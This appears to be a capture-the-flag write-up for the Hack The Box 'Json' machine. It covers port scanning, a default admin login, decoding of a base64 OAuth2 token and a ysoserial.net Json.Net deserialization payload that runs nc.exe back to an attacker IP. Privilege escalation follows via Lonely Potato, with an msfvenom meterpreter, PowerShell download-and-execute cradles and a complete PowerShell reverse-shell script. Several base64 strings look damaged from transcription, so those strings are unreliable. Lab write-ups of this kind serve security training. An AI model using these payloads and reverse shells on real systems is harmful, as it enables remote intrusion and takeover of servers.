

YSOSERIEAL.NET

LONELY POTATO

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

80/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: Json HTB

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

<http://10.10.10.158/login.html>

Try Admin Admin And Intercept With BURP

REQUEST

POST /api/token HTTP/1.1

Host: 10.10.10.158

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.158/login.html

Content-Type: application/json; charset=utf-8

Content-Length: 39

Connection: close

{"UserName":"admin","Password":"admin"}

RESPONSE

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie:
OAuth2=eyJJCi6MSwiVXNlck5hbWUiOiJhZG1pbilslBhc3N3b3JkljoiMjEyMzJmMjk3YTU3YTZhbnZQzODk0YTBINGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEliLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Tue, 07-Jul-2020 22:14:32 GMT;
path=/
X-Powered-By: ASP.NET
Date: Tue, 07 Jul 2020 22:12:39 GMT
Connection: close
Content-Length: 0

Checking the response, its 202 which is usually seen in API's. HTTP Status 202 indicates that request has been accepted for processing, but the processing has not been completed.

DECODING OAuth2(base64)

```
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}
```

<https://crackstation.net/> 21232f297a57a5a743894a0e4a801fc3 (admin)

<http://10.10.10.158/index.html>

Dashboard

RESPONSE

GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer:
eyJJCi6MSwiVXNlck5hbWUiOiJhZG1pbilslBhc3N3b3JkljoiMjEyMzJmMjk3YTU3YTZhbnZQzODk0YTBINGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEliLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Connection: close
Cookie:
OAuth2=eyJJCi6MSwiVXNlck5hbWUiOiJhZG1pbilslBhc3N3b3JkljoiMjEyMzJmMjk3YTU3YTZhbnZQzODk0YTBINGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEliLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Notice also the Bearer field is identical with the OAuth2. Since it's basically JSON values encoded in base64, which is interpreted by the C# server, I looked for vulnerabilities or attack vectors that are related to these events. Most of the links suggest a JSON Deserialization attack.

```
root@kali:/home/kali/Desktop/htb/json# cp /usr/share/windows-resources/binaries/nc.exe .
```

[illegible]

Serving HTTP on 0.0.0.0 port 80 ...

```
C:\Users\lenovo\Desktop\tools\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.27 9001 -e cmd.exe"
```

ewogIcAgJyR0eXBlJzonU3lzdGvTlIdpbmRvd3MuRGF0YS5PYmplYyR3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29ayaywgVmVyc2lvbj00LjAuMCA4wLCBDbWx0dXJlPW5ldXRyYWwslFB1YmtpY0tleVRva2VuPTMxYmZzODU2YWQzNjRlMzUnLCAKICAgIEdnZXRob2R0YXNlJlzonU3RhcncQnLAogIcAgJ01ldGhvZFBhcnFtZXRlcnMnOnsKICAgIcAgICAnJHR5cGUUnOidTeXN0ZW0uQ29sbGJvdGlvbnMuQXJyYXIMaXN0LCAKb2NvcnpxYiYwgVmVyc2lvbj00LjAuMCA4wLCBDbWx0dXJlPW5ldXRyYWwslFB1YmtpY0tleVRva2VuPUwI3N2E1YzU2MTkzNGUwODknLAogIcAgIcAgICckdmFsdWVWZjZpbjZlN2tZCcsJy9jIEM6L1dpbmRvd3MvU3lzdGvTlMzIvc3Bvb2wvZHIpdmVycy9jb2xvci9uYy5leGUgMTAuMTAuMTQuMjcgc0TAwMSAtZSBjbWQuZXBhIj10KICAgIH0sCiAgICAnT2JqZWNO5W5zdGFuY2UnOnsnJHR5cGUUnOidTeXN0ZW0uRGh2Z5vc3RpY3MuUHJvY2VzcywgU3lzdGvTlCBWZXJzaW9uPTQuMCA4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHViIGljS2V5VG9rZW45Yjc3YTJvJNTYxOTM0ZTA0Sd9Cn0=

SHELL GAINED!!!

```
c:\windows\system32\inetsrv>whoami /priv
```

whoami /priv

PRIVILEGES INFORMATION

Privilege Name	Description	State
=====		
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled

SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

LONELY POTATO

```
root@akg:/home/akg/Desktop/hackthebox/json# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33
LPORT=9002 -f exe -o meterpreter.exe
```

```
root@akg:/home/akg/Desktop/hackthebox/json# python -m SimpleHTTPServer 80
```

```
PS C:\Users\userpool\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/LP.ps1')
```

ROOTED!!!!

2ND WAY TO POTATO

```
root@kali:/home/kali/Desktop/htb/json# cat shell.bat
```

```
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.27/powershell-reverse-shell.ps1')
```

```
root@kali:/home/kali/Desktop/htb/json# cat powershell-reverse-shell.ps1
```

```
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.27",9003);$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
"PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Clos
e()
```

```
root@kali:/home/kali/Desktop/htb/json# python -m SimpleHTTPServer 80
```

```
c:\Users\userpool\Desktop>powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.10.14.27/lonelypotato.exe','C:\Users\userpool\Desktop\lonelypotato.exe')
"
```

```
c:\Users\userpool\Desktop>powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.10.14.27/shell.bat','C:\Users\userpool\Desktop\shell.bat')"
```

```
root@kali:/home/kali/Desktop/htb/json# python -m SimpleHTTPServer 80
```

```
root@kali:/home/kali/Desktop/htb/json# nc -nlvp 9003
```

```
C:\Users\userpool\Desktop\lonelypotato.exe * C:\Users\userpool\Desktop\shell.bat
```